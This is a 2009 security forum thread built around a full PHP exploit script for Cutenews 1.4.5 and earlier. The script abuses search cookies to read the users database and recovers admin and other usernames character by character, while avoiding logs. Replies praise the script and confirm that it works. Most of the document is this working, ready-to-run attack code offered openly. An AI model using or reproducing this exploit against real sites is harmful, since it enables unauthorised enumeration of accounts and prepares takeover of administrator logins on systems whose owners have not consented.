Waraxe IT Security Portal
Login or Register
July 16, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 66
Members: 0
Total: 66
Full disclosure
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
SEC Consult SA-20240620-0 :: Arbitrary File Upload in edu-sharing (metaVentis GmbH)
Zip Slip meets Artifactory: A Bug Bounty Story
Backdoor.Win32.Plugx / Insecure Permissions
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other security holes -> Cutenews <= 1.4.5 usernames fetching exploit ver. 1.2
Post new topicReply to topic View previous topic :: View next topic
Cutenews <= 1.4.5 usernames fetching exploit ver. 1.2
PostPosted: Tue Mar 10, 2009 3:32 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




This new version fixes bug related to usernames containing spaces and/or dots. Feedback is welcome!

P.S. Metasploit module version is coming out soon Smile

Code:

<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// Cutenews <= 1.4.5 usernames fetching exploit
// Version 1.2
// Written by Janek Vind "waraxe"
// http://www.waraxe.us
// 10. march 2009
// Estonia, Tartu
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_COOKIE - minimal noise in logs
// 3. Pretesting saves time if Cutenews not vulnerable
//
// Version 1.1 -> pattern recognize improved
// Version 1.2 -> bugfix related to spaces in username
// version 1.2 -> bugfix related to dots in username/magic_quotes_gpc
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$target = 'http://localhost/cutenews.1.4.5/search.php';
$level = 1; // User level needed, admin is 1
$outfile = './cute_log.txt';// Log file
//=====================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
if(($level < 1) || ($level > 4))
{
die('Specified level is invalid!');
}
$levels = array(1=>'admin',2=>'editor',3=>'journalist',4=>'commenter');
$levelname = $levels[$level];
$start_time = time();
$users_cnt = array();
$users = array();
$requests = 0;
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
set_time_limit(0);
}
}
//=====================================================================
add_logline("-------------------------------------------------------");
add_logline("Cutenews usernames fetching started");
add_logline("Target: $target");
add_logline("Reglevel: $levelname");

pre_test();
fetch_users();
$fcnt = count($users);

add_logline("Fetched $fcnt usernames with reglevel '$levelname'\n");
xecho("\nFetched $fcnt usernames with reglevel '$levelname'\n", 1);

foreach($users as $username)
{
add_logline($username);
xecho($username, 1);
}

$run_time = time() - $start_time;
xecho("\nTotal time spent: $run_time seconds", 1);
xecho("HTTP requests made: $requests\n", 1);
xecho("Questions and feedback - http://www.waraxe.us/forums.html", 1);
xecho("See ya! :)", 1);

exit;
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function fetch_users()
{
global $users_cnt, $level;
$maxlen = 15;
$pieces = array('' => $users_cnt[$level]);

for($i = 0; $i < $maxlen; $i ++)
{
$cntx = count($pieces);
$arr = array();
foreach($pieces as $known => $count)
{
$arr2 = reveal_next_char($known, $count);
$arr = array_merge($arr, $arr2);
}

$pieces = $arr;
}
}
///////////////////////////////////////////////////////////////////
function reveal_next_char($known, $count)
{
global $level;

$known = str_replace('[.]', '.', $known);
$known = str_replace('.', '[.]', $known);
$charset = 'abcdefghijklmnopqrstuvwxyz0123456789 ._-';
$chars = strlen($charset);
$out = array();
$rl = "[$level]";
$arr = array("$charset" => $count);
$found_final = 0;

while(1)
{
$found = 0;
$arr2 = array();

foreach($arr as $subset => $scnt)
{
$curr_len = intval(floor(strlen($subset) / 2));
// Testing first half
$fhalf = substr($subset, 0, $curr_len);
$un = "^$known([$fhalf])";
xecho("Testing $un");
$matches = make_query($un, $rl);
if($matches > 0)
{
$found += $matches;
xecho("Found $matches match(es)");
if( strlen($fhalf) == 1)
{
// Exact match?
if(test_exact_match("$known$fhalf"))
{
if($matches > 1)
{
$out["$known$fhalf"] = $matches - 1;
}
}
else
{
$out["$known$fhalf"] = $matches;
}

$found_final += $matches;
}
else
{
$arr2[$fhalf] = $matches;
}
}

if($matches < $scnt)
{
// Testing second half
$shalf = substr($subset, $curr_len);
$un = "^$known([$shalf])";
xecho("Testing $un");
$matches = make_query($un, $rl);
if($matches > 0)
{
$found += $matches;
xecho("Found $matches match(es)");
if( strlen($shalf) == 1)
{
if(test_exact_match("$known$shalf"))
{
if($matches > 1)
{
$out["$known$fhalf"] = $matches - 1;
}
}
else
{
$out["$known$shalf"] = $matches;
}

$found_final += $matches;
}
else
{
$arr2[$shalf] = $matches;
}
}
}
}

$arr = $arr2;

if( $found_final >= $count )
{
break;
}
}

return $out;
}
////////////////////////////////////////////////////////////////////////
function test_exact_match($un)
{
global $level;

$rl = "[$level]";
$test = "^$un$";

xecho("Testing for full match $un");
$matches = make_query($test, $rl);
if($matches > 0)
{
$username = str_replace('[.]', '.', $un);
xecho("Full username found: $username");
$GLOBALS['users'][]= $username;
return true;
}

xecho("Not full match: $un");
return false;
}
///////////////////////////////////////////////////////////////////////
function pre_test()
{
global $users_cnt;
$un = '^[A-z0-9. _-]{1,15}$';

// Target URL valid?
xecho("Validating target URL");
if(strpos(make_get($GLOBALS['target']), 'search_in_archives') === false)
{
die('Target URL not valid!');
}
xecho("URL is valid");

$rl = "[1-4]";
$cnt_all = make_query($un, $rl);
if($cnt_all < 1)
{
die('Pretest failed - no users at all?');
}
else
{
xecho("Total $cnt_all user(s) detected:", 1);
add_logline("Total $cnt_all user account(s)\n");
}

$rl = "[1]";
$cnt_admins = make_query($un, $rl);
if($cnt_admins < 1)
{
die('Pretest failed - no admins at all?');
}
else
{
xecho("$cnt_admins admin(s)", 1);
add_logline("$cnt_admins admin account(s)");
}

$rl = "[2]";
$cnt_editors = make_query($un, $rl);
xecho("$cnt_editors editor(s)", 1);
add_logline("$cnt_editors editor account(s)");

$rl = "[3]";
$cnt_journalists = make_query($un, $rl);
xecho("$cnt_journalists journalist(s)", 1);
add_logline("$cnt_journalists journalist account(s)");

$rl = "[4]";
$cnt_commenters = make_query($un, $rl);
xecho("$cnt_commenters commenter(s)", 1);
add_logline("$cnt_commenters commenter account(s)\n");

if( $cnt_all === ($cnt_admins + $cnt_editors + $cnt_journalists + $cnt_commenters) )
{
xecho("Pretesting passed successfully - target is vulnerable!", 1);
}
else
{
die('Fetched userscounts does not match - fatal exit!');
}

$users_cnt[1] = $cnt_admins;
$users_cnt[2] = $cnt_editors;
$users_cnt[3] = $cnt_journalists;
$users_cnt[4] = $cnt_commenters;
}
///////////////////////////////////////////////////////////////////////
function make_query($username, $reglevel = '')
{
global $target;
$max_retries = 10;

$cookie = "dosearch=yes;files_arch[]=./data/users.db.php;title=$username";

if(!empty($reglevel))
{
$cookie .= ";user=$reglevel";
}

for($retry = 0; $retry < $max_retries + 1; $retry ++)
{
if($retry > 0)
{
xecho("Request failed!\n");
xecho("Sleeping $retry seconds\n");
sleep($retry);
xecho("Awake ...\n");
xecho("Retry #$retry\n");
}
$buff = make_get($target, $cookie, '', true);
$ret = preg_match('/\[[0-9]{1,6}\]:/',$buff,$hits);
if($ret > 0)
{
$ret = intval(substr($hits[0], 1));
if($ret > -1)
{
return $ret;
}
}
}

die('Fatal error - server down?');
}
///////////////////////////////////////////////////////////////////////
function make_get($url, $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)');

if(!empty($cookie))
{
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}

if(!empty($referer))
{
curl_setopt($ch, CURLOPT_REFERER, $referer);
}

if($headers === TRUE)
{
curl_setopt($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt($ch, CURLOPT_HEADER, FALSE);
}

$fc = curl_exec($ch);
curl_close($ch);
$GLOBALS['requests'] ++;

return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_logline($line)
{
global $outfile;

$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);

}
///////////////////////////////////////////////////////////////////////
function xecho($line, $both = 0)
{
if($GLOBALS['cli'])
{
echo "$line\n";
}
elseif($both)
{
$line = nl2br(htmlspecialchars($line));
echo "$line<br />\n";
}
}
//////////////////////////////////////////////////////////////////////
?>
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Mar 11, 2009 6:39 am Reply with quote
DEViANT
Beginner
Beginner
Joined: Mar 10, 2009
Posts: 2




hectic! Excellent exploitation. Thanks for sharing it
View user's profile Send private message Visit poster's website
PostPosted: Fri Mar 13, 2009 3:58 pm Reply with quote
harasym
Regular user
Regular user
Joined: Aug 07, 2008
Posts: 6




Thx a lot to waraxe, exploit really work's now with spaces and dots, just tested it
View user's profile Send private message
PostPosted: Fri Mar 13, 2009 4:33 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




harasym wrote:
Thx a lot to waraxe, exploit really work's now with spaces and dots, just tested it


Glad to hear that Smile
View user's profile Send private message Send e-mail Visit poster's website
Cutenews <= 1.4.5 usernames fetching exploit ver. 1.2
www.waraxe.us Forum Index -> All other security holes
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.153 Seconds